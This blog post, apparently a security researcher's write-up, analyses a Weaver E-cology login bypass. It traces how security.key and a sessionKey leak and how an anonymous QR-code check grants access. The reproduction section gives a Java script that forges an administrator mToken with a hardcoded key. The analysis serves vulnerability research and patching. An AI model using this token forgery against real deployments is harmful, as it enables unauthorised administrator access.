泛微前台权限绕过漏洞分析
follycat Lv3

漏洞简介

泛微E-cology存在登录绕过漏洞,未经身份验证的攻击者可以通过该漏洞绕过身份验证进入后台,从而利用后台RCE漏洞。

影响版本

泛微e-cology

漏洞分析

/dwr/*路由分析

先看到web.xml中,找到目标配置以及类。

最终找到被继承的DwrServlet类

因为使用的是DWR框架,因此看到engine.js,这里表明了要传的参数以及各种方法的调用

重点看这一段,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
dwr.engine._constructRequest = function(batch) {
// A quick string to help people that use web log analysers
var request = { url:batch.path + batch.mode, body:null };
if (batch.isPoll == true) {
request.url += "ReverseAjax.dwr";
}
else if (batch.map.callCount == 1) {
request.url += batch.map["c0-scriptName"] + "." + batch.map["c0-methodName"] + ".dwr";
}
else {
request.url += "Multiple." + batch.map.callCount + ".dwr";
}
// Play nice with url re-writing
var sessionMatch = location.href.match(/jsessionid=([^?]+)/);
if (sessionMatch != null) {
request.url += ";jsessionid=" + sessionMatch[1];
}

var prop;
if (batch.httpMethod == "GET") {
// Some browsers (Opera/Safari2) seem to fail to convert the callCount value
// to a string in the loop below so we do it manually here.
batch.map.callCount = "" + batch.map.callCount;
request.url += "?";
for (prop in batch.map) {
if (typeof batch.map[prop] != "function") {
request.url += encodeURIComponent(prop) + "=" + encodeURIComponent(batch.map[prop]) + "&";
}
}
request.url = request.url.substring(0, request.url.length - 1);
}
else {
// PERFORMANCE: for iframe mode this is thrown away.
request.body = "";
for (prop in batch.map) {
if (typeof batch.map[prop] != "function") {
request.body += prop + "=" + batch.map[prop] + dwr.engine._postSeperator;
}
}
request.body = dwr.engine._contentRewriteHandler(request.body);
}
request.url = dwr.engine._urlRewriteHandler(request.url);
return request;
};

这里说明了需要传入的参数有c0-scriptName,c0-methodName,这俩个参数一个是代表调用的类另一个代表调用的方法,并且可以看到batch.map.callCount == 1时调用一个方法,将直接依据这俩个参数进行拼接操作,除此之外还有c0-id这个参数,这是用于标识这个调用的编号,是数字就行。

第一步、泄露security.key分析

他的路由规则是属于/dwr/*的,在DwrServlet的doPost处打一个断点进行调试。

步入processor.handle,这是一个http请求分发处理器的一个操作。

一直过到分发完成,进入handler.handle,这是远程调用执行的一个方法。

继续步入到remoter.execute中一直跟就行,随后看到execute有一个 创建新对象的操作。

然后继续向下跟来到doFilter这里。

真正的反射调用就在这里面,一直步入doFilter,直到进入ExecuteAjaxFilter类中

可以发现这个类的doFilter方法就是一个反射调用的操作,继续步入走到BaseBean#LoadTemplateProp中。

然后继续步入到Prop#LoadTemplateProp中,这里调用了properties文件,在c:\ec\ecology\WEB-INF\prop\mobilemode.properties中获取到了security.key。

第二步、sessionKey泄露分析

这里使用的是/mobilemode/mobile/server.jsp这个jsp,路由就是jsp文件路径,找到server.jsp

这个jsp文件的作用是通过反射来调用com.api.mobilemode.*这里面的类,传入参数invoker,这个参数就是需要反射的类,要求以com.api.mobilemode开头。

当反射调用构造函数后,会执行execute_proxy()方法,这个方法是位于BaseMobileAction父类的父类MobileAction类中

他会调用当前类execute()方法,也就是BaseMobileAction#execute方法。

可以发现调用了getAction方法,他同样位于MobileAction类中。

他会接收一个action参数,并返回,回到BaseMobileAction#execute方法,当获取了action后,这个方法会根据action参数动态执行带有@ActionMapping注解的方法。

分析完反射后看到com.api.mobilemode.web.mobile.service.MobileEntranceAction#getAppMeta方法。

这个方法接收了几个参数,mToken,mTokenFrom,appid,appHomepageId

其中mTokenmTokenFrom的验证在getTokenKey()方法中。

这里对其进行解密,解密的调用有一点小长。

其中getDecrypt是用来判断解密方式的,这里是AES解密。

然后调用AES解密进行解密操作。

AES解密完成之后应该为uid;appid/homepageId;timestamp,这个格式,其中uid=1就代表为系统管理员,第二个参数和url中传入的appid或者homepageId中的一个相同即可,timestamp就是当前时间的时间戳。

这里使用的是二维码登录,也就是mTokenFrom=QRCode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
if (!"QRCode".equals(var2)) {
throw new MobileModeException("mTokenFrom is empty or unrecognized");
}

String[] var8 = var4.split(";");
if (var8.length != 3) {
throw new MobileModeException("Illegal mToken: " + var1);
}

int var9 = Util.getIntValue(var8[0], -1);
int var10 = Util.getIntValue(var8[1], -1);
long var11 = (long)Util.getDoubleValue(var8[2], -1.0);
if (var9 == -1 || var10 == -1 || var11 == -1L) {
throw new MobileModeException("Illegal mToken: " + var1);
}

if (Util.getIntValue(var7) != var10 && Util.getIntValue(var6) != var10) {
throw new MobileModeException("Mismatched mToken: " + var1);
}

String var13 = String.valueOf(var9);
long var14 = 600000L;
if (var11 + var14 < System.currentTimeMillis()) {
throw new MobileModeException("二维码已过期");
}

this.user = var5.getUserById(Util.getIntValue(var13));
}

这里二维码验证支持匿名访问,因此导致了SessionKey的泄露。

第三步、使用SessionKey登录后台

看到weaver.file.ImgFileDownload类,其中的doGet方法。

这个方法前面有很长一段身份验证,主要看sessionid这段代码,当前面都不成功时,就会使用sessionid进行验证。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
public void doGet(HttpServletRequest var1, HttpServletResponse var2) throws ServletException, IOException {
String var3 = Util.null2String(var1.getParameter("userid"));
int var4 = 0;
RecordSet var5 = new RecordSet();
var5.writeLog("ImgFileDownload useridRandom=" + var3);
OdocFileUtil var6 = new OdocFileUtil();

try {
var4 = Util.getIntValue(OdocFileUtil.changeBase64ToString(var3), -1);
} catch (Exception var45) {
var5.writeLog("ImgFileDownload useridRandom 解密异常");
}

if (var4 < 0) {
var5.executeQuery("select userid from OdocimgfiledownloadParam where uuid= ?", new Object[]{var3});
if (var5.next()) {
var4 = Util.getIntValue(var5.getString("userid"), -1);
} else {
var4 = Util.getIntValue(var1.getParameter("userid"), -1);
}
}

User var7 = HrmUserVarify.getUser(var1, var2);
String var9;
String var10;
if (null == var7) {
AuthService var8 = new AuthService();
var9 = "";
var10 = var1.getQueryString();
String[] var11 = StringUtils.split(var10, '&');
if (var11 != null) {
for(int var12 = 0; var12 < var11.length; ++var12) {
String[] var13 = StringUtils.split(var11[var12], '=');
if (var13 != null && var13.length >= 2 && "sessionkey".equals(var13[0])) {
var9 = var13[1];
break;
}
}
}

try {
var7 = var8.getCurrUser(var9);
} catch (Exception var44) {
var44.printStackTrace();
}

if (var7 == null) {
this.baseBean.writeLog("未查询到当前登录用户!");
var2.sendRedirect("/notice/noright.jsp");
return;
}

var1.getSession(true).setAttribute("weaver_user@bean", var7);
}

ConnStatement var50 = new ConnStatement();

当前面身份验证不成功时,会获取整个 URL 查询串并拆分成键值对,随后遍历所有参数,找到 sessionkey=xxx 形式的参数进行身份验证,验证成功后会将当前用户写入session供后续系统访问用户信息。

漏洞复现

获取security.key

将security.key作为密钥进行加密,加密脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
package org.example;

import java.security.SecureRandom;
import javax.crypto.Cipher;
import javax.crypto.KeyGenerator;
import javax.crypto.spec.SecretKeySpec;
import javax.xml.bind.DatatypeConverter;

public class Main {
public static String encrypt(String str, String str2) {
try {
KeyGenerator keyGenerator = KeyGenerator.getInstance("AES");
SecureRandom secureRandom = SecureRandom.getInstance("SHA1PRNG");
secureRandom.setSeed(str2.getBytes());
keyGenerator.init(128, secureRandom);
SecretKeySpec secretKeySpec = new SecretKeySpec(keyGenerator.generateKey().getEncoded(), "AES");
Cipher cipher = Cipher.getInstance("AES");
cipher.init(1, secretKeySpec);
return DatatypeConverter.printHexBinary(cipher.doFinal(str.getBytes()));
} catch (Exception e) {
e.printStackTrace();
return"";
}
}

public static void main(String[] args) {
System.out.println(encrypt("1;2;"+System.currentTimeMillis(),"8d477021-1a02-4b"));
}
}

将加密后的密钥作为mToken进行传入,走二维码验证获取sessionKey。

获取到sessionKey后,使用sessionKey登录后台

漏洞修复

更新到最新版本:https://www.weaver.com.cn/

 Comments
Comment plugin failed to load
Loading comment plugin
Please fill in the required configuration items for Valine comment plugin
Powered by Hexo & Theme Keep
Unique Visitor Page View